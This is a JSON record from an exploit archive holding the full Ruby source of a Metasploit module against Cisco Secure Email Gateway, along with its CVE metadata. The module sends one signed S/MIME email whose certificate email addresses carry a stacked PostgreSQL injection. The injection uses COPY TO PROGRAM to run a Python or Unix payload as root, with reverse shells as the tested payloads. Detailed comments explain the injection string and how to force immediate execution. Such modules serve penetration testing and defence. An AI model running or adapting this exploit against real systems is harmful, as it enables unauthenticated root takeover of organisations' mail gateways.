{"exploit":{"id":"MSF-unix--smtp--cisco_secure_email_gateway_smime_sqli_rce","name":"Cisco Secure Email Gateway S/MIME SQL Injection RCE","description":"This module exploits an unauthenticated SQL injection in Cisco Secure Email Gateway S/MIME certificate harvesting. A sender-controlled email address in a signing certificate is used in a PostgreSQL query without escaping. The module sends one signed email whose certificate supplies enough addresses to flush the asynchronous database writer, stacks COPY TO PROGRAM, and runs a payload as root through AsyncOS runas and Python. The check identifies the product through Cisco SEG's hidden SMTP queue-status command. AsyncOS does not expose a version through a benign SMTP command, so the check can only identify the product but not if it is explicitly vulnerable. Public-key harvesting must be enabled on the inbound mail flow policy for the target to be exploitable. The Cisco advisory is vague so attributing this vulnerability to a specific CVE is not obvious, but this appears to be CVE-2026-76443 rather than CVE-2026-76461 based on the IOCs available for CVE-2026-76461.","cves":["CVE-2026-76443"],"author":"sfewer-r7","published":"2026-09-14","platform":"Python,Unix","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/unix/smtp/cisco_secure_email_gateway_smime_sqli_rce.rb","path":"modules/exploits/unix/smtp/cisco_secure_email_gateway_smime_sqli_rce.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"cisco_secure_email_gateway_smime_sqli_rce.rb","vulnerabilities":[{"id":"CVE-2026-76443","state":"PUBLISHED","title":"Cisco Secure Email Gateway Security Hardening Release","titleSource":"CVE Program","description":"As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Secure Email Gateway and Cisco Secure Email and Web Manager engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-76443 are related to issues with improper neutralization that are grouped under the Common Weakness Enumeration (CWE) Pillar CWE-707.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-76443","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"cisco","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-76443"},"updatedAt":"2026-09-15T17:03:58.065Z","retrievedAt":"2026-11-25T16:13:33.942Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-unix--smtp--cisco_secure_email_gateway_smime_sqli_rce.png?v=2","url":"https://exploitbin.com/exploits/MSF-unix--smtp--cisco_secure_email_gateway_smime_sqli_rce","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-unix--smtp--cisco_secure_email_gateway_smime_sqli_rce/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-unix--smtp--cisco_secure_email_gateway_smime_sqli_rce/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'base64'\nrequire 'openssl'\nrequire 'zlib'\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  prepend Msf::Exploit::Remote::AutoCheck\n  include Msf::Exploit::Remote::SMTPDeliver\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Cisco Secure Email Gateway S/MIME SQL Injection RCE',\n        'Description' => %q{\n          This module exploits an unauthenticated SQL injection in Cisco Secure\n          Email Gateway S/MIME certificate harvesting. A sender-controlled email\n          address in a signing certificate is used in a PostgreSQL query without\n          escaping. The module sends one signed email whose certificate supplies\n          enough addresses to flush the asynchronous database writer, stacks COPY\n          TO PROGRAM, and runs a payload as root through AsyncOS runas and Python.\n\n          The check identifies the product through Cisco SEG's hidden SMTP\n          queue-status command. AsyncOS does not expose a version through a\n          benign SMTP command, so the check can only identify the product but not\n          if it is explicitly vulnerable. Public-key harvesting must be enabled on\n          the inbound mail flow policy for the target to be exploitable.\n\n          The Cisco advisory is vague so attributing this vulnerability to a specific CVE is\n          not obvious, but this appears to be CVE-2026-76443 rather than CVE-2026-76461\n          based on the IOCs available for CVE-2026-76461.\n        },\n        'Author' => [ 'sfewer-r7' ], # Metasploit module\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'CVE', '2026-76443' ],\n          [ 'URL', 'https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-hardening-esa-dfCrfXkm' ]\n        ],\n        'DisclosureDate' => '2026-09-14',\n        'Privileged' => true,\n        'Payload' => {\n          'Space' => 600,\n          'DisableNops' => true,\n          # The payload is compressed and changed to lowercase hexadecimal before it enters the\n          # certificate. Quotes, SQL punctuation, newlines, and backslashes are therefore safe.\n          # NUL is invalid in both decoded payload forms. Bytes at or above 0x80 cannot be converted\n          # reliably from Python bytes to command-line text across both module targets.\n          'BadChars' => \"\\x00\" + (0x80..0xff).to_a.pack('C*')\n        },\n        'Targets' => [\n          # Tested with the following payloads:\n          # * python/meterpreter/reverse_tcp\n          # * python/shell_reverse_tcp\n          [ 'Python Payload', { 'Platform' => 'python', 'Arch' => ARCH_PYTHON } ],\n          # Tested with the following payloads:\n          # * cmd/unix/reverse\n          # * cmd/unix/reverse_openssl\n          # Note that common shells/tools like bash and netcat are not available, but sh, telnet and openssl are.\n          [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD } ]\n        ],\n        'DefaultTarget' => 0,\n        'DefaultOptions' => {\n          # Certificate harvesting is asynchronous and can take time after SMTP accepts the email.\n          'WfsDelay' => 120\n        },\n        'Notes' => {\n          'Stability' => [ CRASH_SAFE ],\n          'Reliability' => [ REPEATABLE_SESSION ],\n          'SideEffects' => [ IOC_IN_LOGS ]\n        }\n      )\n    )\n\n    register_options([\n      OptString.new('MAILFROM', [ false, 'Email sender address', '' ]),\n      OptString.new('MAILTO', [ false, 'Email recipient address accepted by the gateway', '' ]),\n      OptString.new('SUBJECT', [ false, 'Email subject', '' ])\n    ])\n  end\n\n  def check\n    connect\n\n    # EUQ_FULL is an undocumented, AsyncOS SMTP command.\n    response = smtp_send_recv(\"EUQ_FULL\\r\\n\").to_s\n\n    # This proves the target is running AsyncOS, but it may be either Cisco Secure Email Gateway or Cisco Secure Web\n    # Appliance. It cannot distinguish a vulnerable release from a fixed release.\n    # We could also try the HTTPS service, as that reports teh product type and version, but then we assume\n    # access to that interface/port which may not be true.\n    return CheckCode::Detected('Detected an SMTP service on AsyncOS. Target is likely a Cisco Secure Email Gateway.') if response.match?(/\\A(?:250 EUQ not full|491 #4\\.9\\.1 EUQ database full)\\r\\n\\z/)\n\n    CheckCode::Unknown('Detected an SMTP service, but the target does not appear to be a Cisco Secure Email Gateway')\n  rescue Rex::ConnectionError, Rex::TimeoutError, Msf::Exploit::Remote::SMTPDeliver::SMTPCommunicationError, EOFError => e\n    CheckCode::Unknown(e.message)\n  ensure\n    disconnect if connected?\n  end\n\n  def exploit\n    # Each run needs new addresses so cached certificates cannot bypass the vulnerable database lookup.\n    nonce = Rex::Text.rand_text_hex(16).downcase\n\n    program = payload_program\n\n    # Discover an address the gateway accepts instead of assuming its configured mail domain.\n    recipient = discover_recipient(nonce)\n\n    domain = recipient.split('@', 2).last\n\n    # By default, use the discovered local domain instead of a hard-coded sender domain.\n    sender = datastore['MAILFROM'].blank? ? \"#{nonce}@#{domain}\" : datastore['MAILFROM']\n\n    # A random default subject avoids a fixed network indicator; SUBJECT remains available for tracing.\n    subject = datastore['SUBJECT'].blank? ? nonce : datastore['SUBJECT']\n\n    print_status('Generating the signed S/MIME exploit email')\n\n    email = build_message(program, nonce, domain, sender, recipient, subject)\n\n    # The database writer normally waits for a timer, but a full 500-record batch is handled at once.\n    print_status(\"Sending #{email.bytesize}-byte email with 500 certificate addresses\")\n\n    response = deliver_message(email, 'MAILFROM' => sender, 'MAILTO' => recipient)\n\n    # SMTP success means the gateway queued the message; the vulnerable work runs asynchronously.\n    fail_with(Failure::Unknown, 'SMTP DATA was not accepted') unless response&.start_with?('250')\n\n    print_good('Exploit email accepted')\n  end\n\n  private\n\n  def discover_recipient(nonce)\n    # Prefer an operator-supplied mailbox when one is known to be valid.\n    candidates = [ datastore['MAILTO'] ].compact.reject(&:blank?)\n\n    if candidates.empty?\n      connect\n\n      # SMTP banners normally contain the gateway hostname, not a mailbox address.\n      hostname = banner.to_s[/\\A220\\s+([^\\s]+)/, 1].to_s.downcase\n\n      labels = hostname.split('.')\n\n      # Try the hostname and its parent domains, but never send message data during these probes.\n      candidates = labels.each_index.filter_map { |index| labels[index..].join('.') if labels.length - index >= 2 }\n    end\n\n    candidates.each do |address_or_domain|\n      address = address_or_domain.include?('@') ? address_or_domain : \"#{nonce}@#{address_or_domain}\"\n\n      next unless address.match?(/\\A[^\\s<>@]+@[a-z0-9.-]+\\z/i)\n\n      vprint_status(\"Trying recipient address: #{address}\")\n\n      return address if recipient_accepted?(address, nonce)\n    end\n\n    fail_with(Failure::BadConfig, 'Could not discover an accepted recipient domain; set MAILTO')\n  ensure\n    disconnect if connected?\n  end\n\n  def deliver_message(message, envelope)\n    # SMTPDeliver reads MAILFROM and MAILTO from the shared datastore.\n    original = envelope.keys.to_h { |key| [ key, datastore[key] ] }\n\n    # Use values derived for this one message, then restore the operator's settings in ensure.\n    envelope.each { |key, value| datastore[key] = value }\n\n    send_message(message)\n  ensure\n    original&.each { |key, value| datastore[key] = value }\n  end\n\n  def recipient_accepted?(address, nonce)\n    connect unless connected?\n\n    # HELO establishes a normal SMTP session before testing an envelope.\n    return false unless smtp_send_recv(\"HELO #{nonce}\\r\\n\").to_s.start_with?('250')\n\n    domain = address.split('@', 2).last\n\n    # Recipient policy can depend on the envelope sender, so probe with the same normalized sender\n    # that SMTPDeliver uses for the final message.\n    sender = datastore['MAILFROM'].blank? ? \"#{nonce}@#{domain}\" : datastore['MAILFROM'].strip\n\n    return false if bad_address(sender)\n\n    return false unless smtp_send_recv(\"MAIL FROM: <#{sender}>\\r\\n\").to_s.start_with?('250')\n\n    # SMTPDeliver proceeds only after code 250, so discovery must use the same requirement.\n    accepted = smtp_send_recv(\"RCPT TO: <#{address}>\\r\\n\").to_s.start_with?('250')\n\n    # RSET discards the test envelope so discovery never queues an email.\n    smtp_send_recv(\"RSET\\r\\n\")\n\n    accepted\n  end\n\n  def payload_program\n    # Compression keeps large Python payloads within the harvested address size limit. Lowercase\n    # hexadecimal protects every payload byte from AsyncOS changing certificate addresses to lowercase.\n    packed_payload = Zlib::Deflate.deflate(payload.encoded).unpack1('H*')\n\n    decoder = %(zlib.decompress(binascii.unhexlify(\"#{packed_payload}\")))\n\n    python_loader = if target['Arch'] == ARCH_PYTHON\n                      # A Python payload is already source code, so execute its decoded bytes directly.\n                      \"import binascii,zlib;exec(#{decoder})\"\n                    else\n                      # A Unix payload is a command string. Pass it as a single argument to a fresh shell\n                      # instead of interpolating it into another shell command where quoting could alter it.\n                      %(import binascii,os,zlib;os.execl(\"/bin/sh\",\"sh\",\"-c\",#{decoder}.decode()))\n                    end\n\n    # Public-key harvesting runs under a database account. AsyncOS runas executes the loader as root,\n    # while the built-in Python3 runtime decodes the payload without requiring an added staging utility.\n    \"/data/bin/runas root /usr/local/bin/python3 -c '#{python_loader}'\"\n  end\n\n  def build_message(program, nonce, domain, sender, recipient, subject)\n    # The temporary CA and leaf certificate exist only to create a signed S/MIME message.\n    ca_key = OpenSSL::PKey::RSA.new(2048)\n\n    leaf_key = OpenSSL::PKey::RSA.new(2048)\n\n    ca_name = OpenSSL::X509::Name.parse(\"/CN=#{nonce}-ca\")\n\n    # The two certificates use distinct serials; their random keys make every pair unique.\n    ca = certificate(ca_name, ca_name, ca_key.public_key, 1)\n\n    # This marks the certificate as an authority while preventing it from issuing another CA.\n    ca.add_extension(OpenSSL::X509::ExtensionFactory.new.create_extension('basicConstraints', 'CA:TRUE,pathlen:0', true))\n\n    # A CA certificate is self-signed with its own private key.\n    ca.sign(ca_key, OpenSSL::Digest.new('SHA256'))\n\n    # AsyncOS ignores self-signed certificates while harvesting, so the vulnerable identities\n    # belong to a separate leaf certificate issued by the temporary CA.\n    leaf_name = OpenSSL::X509::Name.parse(\"/CN=#{nonce}\")\n\n    leaf = certificate(leaf_name, ca_name, leaf_key.public_key, 2)\n\n    # The signer is an end certificate, not another certificate authority.\n    leaf.add_extension(OpenSSL::X509::ExtensionFactory.new.create_extension('basicConstraints', 'CA:FALSE', true))\n\n    # These usages permit signing email and transporting an encryption key.\n    leaf.add_extension(OpenSSL::X509::ExtensionFactory.new.create_extension('keyUsage', 'digitalSignature,keyEncipherment', true))\n\n    # The sender-controlled rfc822Name values reach the vulnerable SQL lookup.\n    leaf.add_extension(subject_alternative_names(program, nonce, domain))\n\n    # emailProtection labels this leaf as an S/MIME certificate.\n    leaf.add_extension(OpenSSL::X509::ExtensionFactory.new.create_extension('extendedKeyUsage', 'emailProtection', false))\n\n    # Sign the leaf with the temporary CA key so the included certificate chain is internally consistent.\n    leaf.sign(ca_key, OpenSSL::Digest.new('SHA256'))\n\n    # The message body itself is harmless; the embedded certificate carries the SQL text.\n    content = \"Content-Type: text/plain; charset=us-ascii\\r\\nContent-Transfer-Encoding: 7bit\\r\\n\\r\\n#{nonce}\\r\\n\"\n\n    # Include the untrusted CA with the signer so AsyncOS can extract both certificates. Trust is\n    # not required because public-key harvesting occurs before certificate verification.\n    signed = OpenSSL::PKCS7.sign(leaf, leaf_key, content, [ ca ], OpenSSL::PKCS7::BINARY).to_der\n\n    # S/MIME transports the binary PKCS#7 signed object as MIME base64 with conventional 76-byte lines.\n    encoded = Base64.strict_encode64(signed).scan(/.{1,76}/).join(\"\\r\\n\")\n\n    message = Rex::MIME::Message.new\n    message.mime_defaults\n    message.from = \"<#{sender}>\"\n    message.to = \"<#{recipient}>\"\n    message.subject = subject\n\n    # This MIME type directs AsyncOS to its S/MIME signed-message parser. Keep the PKCS#7 signed object\n    # as the top-level body; add_part() would introduce a multipart wrapper and change the tested path.\n    message.header.set('Content-Type', \"application/pkcs7-mime; smime-type=signed-data; name=#{nonce}.p7m\")\n    message.header.set('Content-Transfer-Encoding', 'base64')\n    message.content = encoded\n\n    message.to_s\n  end\n\n  def certificate(subject, issuer, public_key, serial)\n    cert = OpenSSL::X509::Certificate.new\n\n    # X.509 version 3 is required for the certificate extensions used below. Note that Ruby is using zero-based indexes\n    # here so 2 below is X.509 v3.\n    cert.version = 2\n\n    cert.serial = serial\n\n    cert.subject = subject\n\n    cert.issuer = issuer\n\n    cert.public_key = public_key\n\n    # Backdating tolerates clock skew, while one day is long enough for asynchronous processing.\n    cert.not_before = Time.now - 300\n\n    cert.not_after = Time.now + 86_400\n\n    cert\n  end\n\n  def subject_alternative_names(program, nonce, domain)\n    # AsyncOS harvests every certificate email address and passes it as rcpt_data to the vulnerable\n    # get_rcpt_record_two_columns_query(), which builds:\n    #   SELECT public_key, last_updated FROM harvested_pubkeys WHERE rcpt_data='<address>'\n    # The address below is valid as an email with a double-quoted local part. That opening double\n    # quote is just data inside PostgreSQL's single-quoted value. The apostrophe after the nonce ends\n    # that value early, and PostgreSQL accepts the semicolon-separated text that follows as two more\n    # statements. COPY (SELECT '') TO PROGRAM launches program as the PostgreSQL server account and\n    # gives it a harmless line on standard input. The final zero-row SELECT supplies the column names\n    # expected by getallrowdicts(). Then -- comments out the closing double quote, @domain, and\n    # apostrophe that AsyncOS appends. Doubling apostrophes here quotes only the command inside\n    # PROGRAM's SQL value; it does not repair the unsafe address lookup.\n    sqli_identity = %(\"#{nonce}';copy(select'')to program'#{program.gsub(\"'\", \"''\")}';select null::text as public_key,0::double precision as last_updated where false;-- \"@#{domain})\n\n    # write_to_harvest_db() lowercases and queues every unique rfc822Name returned by get_email().\n    # The fresh nonce therefore makes all 500 identities distinct cache keys in this one writer batch,\n    # even though they belong to the same leaf certificate.\n    identities = [ sqli_identity ]\n\n    # The S/MIME writer starts work immediately at WRITER_SYNC_BUFFER_LIMIT (500); a smaller batch can\n    # wait for its periodic flush. Each filler stacks only the same zero-row SELECT, so it raises the\n    # queue length without launching more programs. Because the final result has no row, harvest_check()\n    # also skips the later certificate INSERT for both the first and filler identities.\n    # We need 500 identities to hit the WRITER_SYNC_BUFFER_LIMIT and force the SQLi to occur, otherwise we would have to\n    # wait for this buffer to flush (can take 3+ minutes), with 500 identities we should get the SQLi in ~10 seconds.\n    499.times do |index|\n      identities << %(\"#{nonce}-#{index}';select null::text as public_key,0::double precision as last_updated where false;-- \"@#{domain})\n    end\n\n    # In X.509, GeneralName context-specific tag 1 means rfc822Name (an email address). Constructing\n    # the extension as DER preserves the SQL punctuation until the appliance reads the certificate.\n    general_names = OpenSSL::ASN1::Sequence.new(identities.map { |address| OpenSSL::ASN1::IA5String.new(address, 1, :CONTEXT_SPECIFIC) })\n\n    OpenSSL::X509::Extension.new('subjectAltName', general_names.to_der, false)\n  end\nend\n","sha256":"f8fd9ec4d85a440fc30c5730847a77ea23b06b80a65b984ba4188b1973b80e6a","bytes":16554,"fetchedAt":"2026-11-25T16:31:00.343Z","encoding":"utf-8 (display only; download retains original bytes)"}